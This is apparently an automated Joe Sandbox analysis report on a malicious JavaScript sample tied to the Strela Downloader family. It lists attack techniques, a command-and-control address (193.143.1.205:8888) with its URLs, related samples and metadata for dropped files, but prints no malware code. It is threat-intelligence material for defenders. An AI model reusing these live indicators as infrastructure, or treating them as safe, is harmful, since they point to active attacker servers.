Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
631311201545628497.js	7%	Virustotal		Browse
631311201545628497.js	3%	ReversingLabs

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/(	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205:8888/(	net.exe, 00000007.00000003.1476263978.0000022B78360000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1486280897.0000022B78360000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://crl.ver)	svchost.exe, 00000009.00000002.2704041744.000001DEE1600000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://www.adobe.co	ReaderMessages.5.dr	false		high
https://g.live.com/odclientsettings/Prod-C:	qmgr.db.9.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000003.1476263978.0000022B78360000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1486280897.0000022B78360000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1486215805.0000022B78328000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/space	net.exe, 00000007.00000002.1486215805.0000022B78328000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/ProdV2-C:	svchost.exe, 00000009.00000003.1475850018.000001DEE14D0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	false		high
http://193.143.1.205:8888/n	net.exe, 00000007.00000003.1476263978.0000022B7834F000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1486280897.0000022B7834F000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588286
Start date and time:	2025-01-10 23:30:59 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 6s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	631311201545628497.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/59@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 162.159.61.3, 172.64.41.3, 34.237.241.83, 50.16.47.176, 18.213.11.84, 54.224.241.105, 2.23.242.162, 23.209.209.135, 199.232.214.172, 2.16.168.107, 2.16.168.105, 23.40.179.5, 23.40.179.9, 23.40.179.79, 23.40.179.15, 23.40.179.14, 23.40.179.13, 23.40.179.11, 23.40.179.12, 23.40.179.4, 52.6.155.20, 52.149.20.212, 23.203.104.175
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
17:32:00	API Interceptor	21x Sleep call for process: powershell.exe modified
17:32:04	API Interceptor	1x Sleep call for process: net.exe modified
17:32:04	API Interceptor	2x Sleep call for process: svchost.exe modified
17:32:11	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	507722252877028578.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	434027412290322097.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	32750305971799721630.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	31554291391030831415.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	122388091976711996.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	998728891275936098.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	25055222211104026628.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	31352150452488124098.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	10965191911914222758.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	241198432146011036.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	507722252877028578.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	434027412290322097.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	31554291391030831415.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	122388091976711996.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	Yef4EqsQha.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	199.232.210.172
	25055222211104026628.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	10965191911914222758.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	241198432146011036.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	137112093815427392.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	16529230753138817875.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	507722252877028578.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	5545194012153110815.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	434027412290322097.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	32750305971799721630.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	31554291391030831415.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	122388091976711996.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	14174249761820017751.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	19597294421812213615.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	998728891275936098.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	25055222211104026628.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.49321355998133054
Encrypted:	false
SSDEEP:	1536:cJNnm0h6QV70hV40h5RJkS6SNJNJbSMeCXhtvKTeYYJyNtEBRDna33JnbgY1Ztag:cJhXC9lHmutpJyiRDeJ/aUKrDgnmG
MD5:	771ECC996AA0D4353CFB9613474D61E3
SHA1:	79B51F25744A2C5AF47BC3FF44A6F5500731BCA1
SHA-256:	09750A039B1E1E64DF1187A35D8418D15FC8FF90C5A9C94344090E2ED78D5B0D
SHA-512:	8DB52FA1A224DCB9F87392438A8CAE8D0C84ADE9F1391F793C4BC6446F45F358CC1856A1D068F9EE8CCBD2EAF0DECEB90873B42D658EDD5EC5F9078C10BD749F
Malicious:	false
Preview:	^.;V........@..@-....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@...................................&.#.\.#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x19efceae, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7217182307485742
Encrypted:	false
SSDEEP:	1536:bSB2ESB2SSjlK/Tv5m0hnRJjAVtu8Ykr3g16tV2UPkLk+kcBLZiAcZwytuknSDVd:bazaNvFv8V2UW/DLzN/w4wZi
MD5:	6F3DF8119D46D3DFCCE5D841AA11E00C
SHA1:	45D4F384039EBA3374BEB429D0DFDEAC634A2558
SHA-256:	7B0DD9AA519E1990392CB421E4A262BCA20B0C8128C95155BDE3AA62B83EC9A6
SHA-512:	2D6265C0D08639016F178A28A7B41E6CC8423C1F7506CB7479F8B51E60803E8329E70674BA90BC8741D53CAD8977A6EB76CFF3695CC6734E1722789B0637EC2D
Malicious:	false
Preview:	...... ...............X\...;...{......................p.D..........{}.. ...}..h.F.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......-....{...............................................................................................................................................................................................2...{...................................:`. ...}..................q.I". ...}...........................#......h.F.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08140552029573847
Encrypted:	false
SSDEEP:	3:EdYeWhTjr/fgsCrZClW/tZmhJvkY4Xall+SHY/Xl+/rQLve:EdzaDfgs3GeJvkteAS4M
MD5:	A504E149F646AB07587494E2784535EB
SHA1:	AC03F8FD7FD3039F1571081E690C153A3E4BB8B6
SHA-256:	089102DAED5D714DA1F6E295E160F6F58786CA2E68D5EA20E63126D4C97B3079
SHA-512:	F15C8847BA58542E586CEFB5DD0736D46DBDCAA99D080DB2FC00654847B15CB0E738D22606FC401FF29EBF0F1CF82A676D12EC67B6DB059DDC32CCB4EECD8A40
Malicious:	false
Preview:	.Pph.....................................;...{... ...}.......{}..............{}......{}.vv_Q.....{}.................q.I". ...}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	290
Entropy (8bit):	5.144808586146551
Encrypted:	false
SSDEEP:	6:iO4JfPQIGjL+q2PqLTwi2nKuAl9OmbnIFUtSJfPW2hKWZmwsJfPWEJjLVkwOqLTJ:7zL+v8wZHAahFUtxW/8LV5TwZHAaSJ
MD5:	62DA37A12A2388BD9B649F977D63C111
SHA1:	7AB6B5B6AA06235458C7152C972E9ADB01A8B412
SHA-256:	BCF5D4DE8040EBEE13B51D960CCDBCC983F6C59AB4C70B4990C1449FB4E31A16
SHA-512:	BC5030FE1F97DB30E45694A348551F2A9BA231922013F67A123D7899581200DEE192FA2CA79FF1A9BB055257CEA34015F25ABD33838AD37023821B4D20BFB7EE
Malicious:	false
Preview:	2025/01/10-17:32:04.294 1ccc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-17:32:04.309 1ccc Recovering log #3.2025/01/10-17:32:04.310 1ccc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	290
Entropy (8bit):	5.144808586146551
Encrypted:	false
SSDEEP:	6:iO4JfPQIGjL+q2PqLTwi2nKuAl9OmbnIFUtSJfPW2hKWZmwsJfPWEJjLVkwOqLTJ:7zL+v8wZHAahFUtxW/8LV5TwZHAaSJ
MD5:	62DA37A12A2388BD9B649F977D63C111
SHA1:	7AB6B5B6AA06235458C7152C972E9ADB01A8B412
SHA-256:	BCF5D4DE8040EBEE13B51D960CCDBCC983F6C59AB4C70B4990C1449FB4E31A16
SHA-512:	BC5030FE1F97DB30E45694A348551F2A9BA231922013F67A123D7899581200DEE192FA2CA79FF1A9BB055257CEA34015F25ABD33838AD37023821B4D20BFB7EE
Malicious:	false
Preview:	2025/01/10-17:32:04.294 1ccc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-17:32:04.309 1ccc Recovering log #3.2025/01/10-17:32:04.310 1ccc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.133851584895976
Encrypted:	false
SSDEEP:	6:iO4JfPQ/Oq2PqLTwi2nKuAl9Ombzo2jMGIFUtSJfPQKZmwsJfPQnkwOqLTwi2nK3:7j/Ov8wZHAa8uFUtxK/Xn5TwZHAa8RJ
MD5:	4DCF8067120AEBC95A47A4257EC8FA48
SHA1:	202316232B5368D04CAC65D22042634583BC2C0F
SHA-256:	81229E1CA5891C4E0343809C038E05FD68CC5C9314969E309AF15D1124386923
SHA-512:	22732C8E07D724E2858E97666FA1A4FA310C0CF12EF73D13308E4FACDCCDC65C47DDE0CE754DD2DFF0534B396B1695431878E0B7F795BD5C099B6361811A3C6D
Malicious:	false
Preview:	2025/01/10-17:32:04.513 1b50 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-17:32:04.514 1b50 Recovering log #3.2025/01/10-17:32:04.515 1b50 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.133851584895976
Encrypted:	false
SSDEEP:	6:iO4JfPQ/Oq2PqLTwi2nKuAl9Ombzo2jMGIFUtSJfPQKZmwsJfPQnkwOqLTwi2nK3:7j/Ov8wZHAa8uFUtxK/Xn5TwZHAa8RJ
MD5:	4DCF8067120AEBC95A47A4257EC8FA48
SHA1:	202316232B5368D04CAC65D22042634583BC2C0F
SHA-256:	81229E1CA5891C4E0343809C038E05FD68CC5C9314969E309AF15D1124386923
SHA-512:	22732C8E07D724E2858E97666FA1A4FA310C0CF12EF73D13308E4FACDCCDC65C47DDE0CE754DD2DFF0534B396B1695431878E0B7F795BD5C099B6361811A3C6D
Malicious:	false
Preview:	2025/01/10-17:32:04.513 1b50 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-17:32:04.514 1b50 Recovering log #3.2025/01/10-17:32:04.515 1b50 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\9d2ed6d7-ee1d-45bb-a4ca-538c05526cfd.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.966758581072514
Encrypted:	false
SSDEEP:	12:YH/um3RA8squsBdOg2HUAcaq3QYiub5P7E4T3y:Y2sRds6dMHE3QYhbt7nby
MD5:	874498AD7AE945173BE06F14B8F8C734
SHA1:	EF4F43FFD088DB4DF9358DA7227DEC12E416A626
SHA-256:	5658C2F1D4E17EAA02200AC3EC26D2491EAD31CFD060DBA40CA2F3DF0AD054A0
SHA-512:	06ABBDD6C72B1A0A4483DA68705CB8CD0F3BA11C9D644D45932E57A42A27A808747B00D5451FE8E99258247D8BFBD92665A83BEA2DB55165262EF729A9CE8586
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381108336133970","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":127535},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.9","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.96165270016851
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqxpsBdOg2Hl/2caq3QYiub5P7E4T3y:Y2sRds+6dMHlR3QYhbt7nby
MD5:	CBDEF62156D26E2C47C31D3D45CF9E3A
SHA1:	4624B1724AF9FF891155E367BC0111DB3809247D
SHA-256:	7AC5B8097F091EF5FFB1333FCD74598183AF6D81A2C6E46422EAC305CB2264BF
SHA-512:	6243F342FD7E08C85A2B8323FB302BFBFCD942229C2DDB6C771887EEAA99904C590E8632C1034C888B1FDB2350F4A65FD131F9EF7D729772E4EA04B1183B6B14
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341057329405343","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":149545},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.9","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF404a8e.TMP (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.96165270016851
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqxpsBdOg2Hl/2caq3QYiub5P7E4T3y:Y2sRds+6dMHlR3QYhbt7nby
MD5:	CBDEF62156D26E2C47C31D3D45CF9E3A
SHA1:	4624B1724AF9FF891155E367BC0111DB3809247D
SHA-256:	7AC5B8097F091EF5FFB1333FCD74598183AF6D81A2C6E46422EAC305CB2264BF
SHA-512:	6243F342FD7E08C85A2B8323FB302BFBFCD942229C2DDB6C771887EEAA99904C590E8632C1034C888B1FDB2350F4A65FD131F9EF7D729772E4EA04B1183B6B14
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341057329405343","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":149545},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.9","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\f170572b-dba3-4d9c-a568-ccc0fa037b69.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.96165270016851
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqxpsBdOg2Hl/2caq3QYiub5P7E4T3y:Y2sRds+6dMHlR3QYhbt7nby
MD5:	CBDEF62156D26E2C47C31D3D45CF9E3A
SHA1:	4624B1724AF9FF891155E367BC0111DB3809247D
SHA-256:	7AC5B8097F091EF5FFB1333FCD74598183AF6D81A2C6E46422EAC305CB2264BF
SHA-512:	6243F342FD7E08C85A2B8323FB302BFBFCD942229C2DDB6C771887EEAA99904C590E8632C1034C888B1FDB2350F4A65FD131F9EF7D729772E4EA04B1183B6B14
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341057329405343","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":149545},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.9","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.224704797127507
Encrypted:	false
SSDEEP:	96:GICD8SBCmPAi8j0/8qbGNSwPgGYPx8xRqhm068Oz50PMb:1CDLCmPj8j0/8qKgwPHYPx8xemT8Oz51
MD5:	980021311CE51EFB251EB046E5486E76
SHA1:	2710082A083212CC36476E2EEC78ED1D6E11A141
SHA-256:	A77278D87E5AD62AA183829B0D7CBFC945E2F6A1C1EDC9121C13E2FCC1CD5678
SHA-512:	C6D7F6C1D82E2F62003B1015C9E1DDB0C2DD135B759D247DB0E6685A6E4F6FC9E240DC870CAA917D71C6A44068F511584888354EE5D47E52E2655676FB61364E
Malicious:	false
Preview:	*...#................version.1..namespace-W...o................next-map-id.1.Pnamespace-ed11ed50_1515_4296_b27c_721e1e1acdec-https://rna-resource.acrobat.com/.0.w..r................next-map-id.2.Snamespace-f62cae74_b031_4dd2_8c7b_e9ef3858dbf9-https://rna-v2-resource.acrobat.com/.1:M4.r................next-map-id.3.Snamespace-2a2b5482_c0ce_4c74_9fbc_8a8daf6ed72d-https://rna-v2-resource.acrobat.com/.2IE..o................next-map-id.4.Pnamespace-b58dfce7_364b_43da_946b_3d7546a793e5-https://rna-resource.acrobat.com/.3KQ..^...............Pnamespace-ed11ed50_1515_4296_b27c_721e1e1acdec-https://rna-resource.acrobat.com/.xK.^...............Pnamespace-b58dfce7_364b_43da_946b_3d7546a793e5-https://rna-resource.acrobat.com/.i.+a...............Snamespace-f62cae74_b031_4dd2_8c7b_e9ef3858dbf9-https://rna-v2-resource.acrobat.com/Tz.qa...............Snamespace-2a2b5482_c0ce_4c74_9fbc_8a8daf6ed72d-https://rna-v2-resource.acrobat.com/"_.o................next-map-id.5.Pnamespace-7c898a99_566e_4628_b4ec_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.176551847532052
Encrypted:	false
SSDEEP:	6:iO4JfPJq2PqLTwi2nKuAl9OmbzNMxIFUtSJfPS3HQhZmwsJfPSbkwOqLTwi2nKuP:78v8wZHAa8jFUtbQh/Z5TwZHAa84J
MD5:	9BF67B425E983D227456F757FE1C9294
SHA1:	9A073C1FCB4E2674B1F526E2F57A3AB9E52976C1
SHA-256:	8918A05C1D9F1D0ADDB1E84574F7BD324F087986C391F582CB8E6621C2C5AFAF
SHA-512:	BAA78BAA78F165B776AE82BC79B8B73BCB7FE3C955D388EA7C022CD2850405FABE1052DC71C64F3AF381283077CA26AF557DAF02111BE260C0AB56801C436882
Malicious:	false
Preview:	2025/01/10-17:32:04.674 1b50 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-17:32:04.709 1b50 Recovering log #3.2025/01/10-17:32:04.737 1b50 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.176551847532052
Encrypted:	false
SSDEEP:	6:iO4JfPJq2PqLTwi2nKuAl9OmbzNMxIFUtSJfPS3HQhZmwsJfPSbkwOqLTwi2nKuP:78v8wZHAa8jFUtbQh/Z5TwZHAa84J
MD5:	9BF67B425E983D227456F757FE1C9294
SHA1:	9A073C1FCB4E2674B1F526E2F57A3AB9E52976C1
SHA-256:	8918A05C1D9F1D0ADDB1E84574F7BD324F087986C391F582CB8E6621C2C5AFAF
SHA-512:	BAA78BAA78F165B776AE82BC79B8B73BCB7FE3C955D388EA7C022CD2850405FABE1052DC71C64F3AF381283077CA26AF557DAF02111BE260C0AB56801C436882
Malicious:	false
Preview:	2025/01/10-17:32:04.674 1b50 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-17:32:04.709 1b50 Recovering log #3.2025/01/10-17:32:04.737 1b50 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 11, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	86016
